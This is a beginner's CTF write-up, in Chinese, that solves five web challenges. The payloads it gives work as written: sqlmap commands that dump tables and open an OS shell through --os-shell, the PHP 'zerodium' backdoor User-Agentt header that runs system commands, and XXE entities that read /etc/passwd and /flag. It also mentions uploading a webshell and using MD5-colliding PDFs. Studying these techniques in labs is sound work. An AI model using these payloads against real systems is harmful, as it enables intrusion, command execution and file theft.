1.文章管理系统
1)打开题目,把它页面翻完了,没看懂它有啥用
2)看了看源码,也是一样的,没找到有用的东西
3)想着可能还是在隐藏文件里找,那我就直接用dirsearch扫扫看
4)扫出来三个网址,其中一个有/?id=/etc/issue,估计它可能是跟内部数据库有关,于是想到用sqlmap跑跑看,sqlmap -u +网址/?id=1 --dbs --batch
5)扫出来果然在里面找到文件,找了之后发现在word里面有文件,打开查看
sqlmap -u +网址/?id=1 -D word --tables --batch
6)接着打开表查看里面内容
sqlmap -u 网址/?id=1 -D word -T --dump --batch
7)结果真发现flag,但是提交后是错的
8)因为题目有提示说是需要命令执行才能拿到flag
这里用到命令
sqlmap -u 网址/?id=1 --os-shell
这也是根据它所给的提示来的
那就需要从其他方面下手,看了大佬的wp才知道这里用到shell
了解一下什么是shell?
shell是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。
Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。
为什么要学习和使用shell?
Shell属于内置的脚本,程序开发的效率非常高,依赖于功能强大的命令可以迅速地完成开发任务(批处理)语法简单,代码写起来比较轻松,简单易学
注:--os-shell
: 这是另一个选项,指示SQLMap在成功利用SQL注入漏洞后打开操作系统(OS)命令外壳(shell)。一旦SQLMap确定目标网站中存在SQL注入漏洞,并成功利用该漏洞获取了系统权限,它将在目标服务器上启动一个命令行外壳,使用户能够在目标系统上执行操作系统命令。
扫完后里面果然有文件输入命令ls打开具体文件
9)照着它一步步打开
10)看到flag,cat /flag打开,最终拿到flag
2.Robots
1)进入环境
2)看了看源码,啥也没有,直接进入Robots.txt,线索来了
3)直接把给的php文件打开flag就在里面,属实没想到它这莫简单
3.黑客终端
1)进入环境
2)一看源码,flag就在里面,过于抽象,被题目骗了
4.EasyMD5
1)打开环境,一开始我以为是基础的文件上传,但看着它两个上传地址就有点好奇了
2)我还是想着传两个木马上去看看,于是就出现下面这样
3)发现会提示不是 pdf格式的文件,还提示文件过大,最后提示你知道MD5碰撞吗?这里需要找两个MD5值相等的pdf文件上传才行。如下
4)上传成功后如下:它会快速闪出一下flag,需要截屏,再写下flag
5.PHP的后门
1)打开环境如下
2)查看源码没啥东西,开始以为是PHP伪协议或是文件包含之类的,但试了下发现都是报错
后面实在想不出来也是去看了其他大佬的wp才知道这里用到一个其他知识点
PHP zerodium后门漏洞,具体如下:
PHP zerodium后门漏洞-CSDN博客
3)然后直接抓包,添加代码执行
User-Agentt:zerodiumsystem("ls /");
4)然后看到有flag文件,再进行查看一下
User-Agentt:zerodiumsystem("cat /flag");
如此便能成功得到flag
5.PHP的XXE
1)打开题目,它有很多介绍,浅看一下,就当学点知识点
2)进来就是一个phpinfo界面,找了找flag,啥也没找到,后面弄了半天还是弄不出来
后面查了才知道这里需要访问simplexml_load_string.php文件,但是没有任何反应
3)那就尝试抓包试试,但是各种改,还是没思路,就去看了看大佬的wp
4)说是要尝试进行命令执行,把它加在后面,尝试运行
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>
<name>
&xxe;
</name>
</test>
5)发现访问成功,猜想flag文件在根目录下,然后再加下面的命令运行
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<name>
&xxe;
</name>
</test>
这里它涉及到simplexml_load_string.php命令
定义和用法
simplexml_load_string() 函数把 XML 字符串载入对象中。
如果失败,则返回 false。
语法
simplexml_load_file(string,class,options,ns,is_prefix)
返回值
返回类 SimpleXMLElement 的一个对象,该对象的属性包含 XML 文档中的数据。如果失败,则返回 false。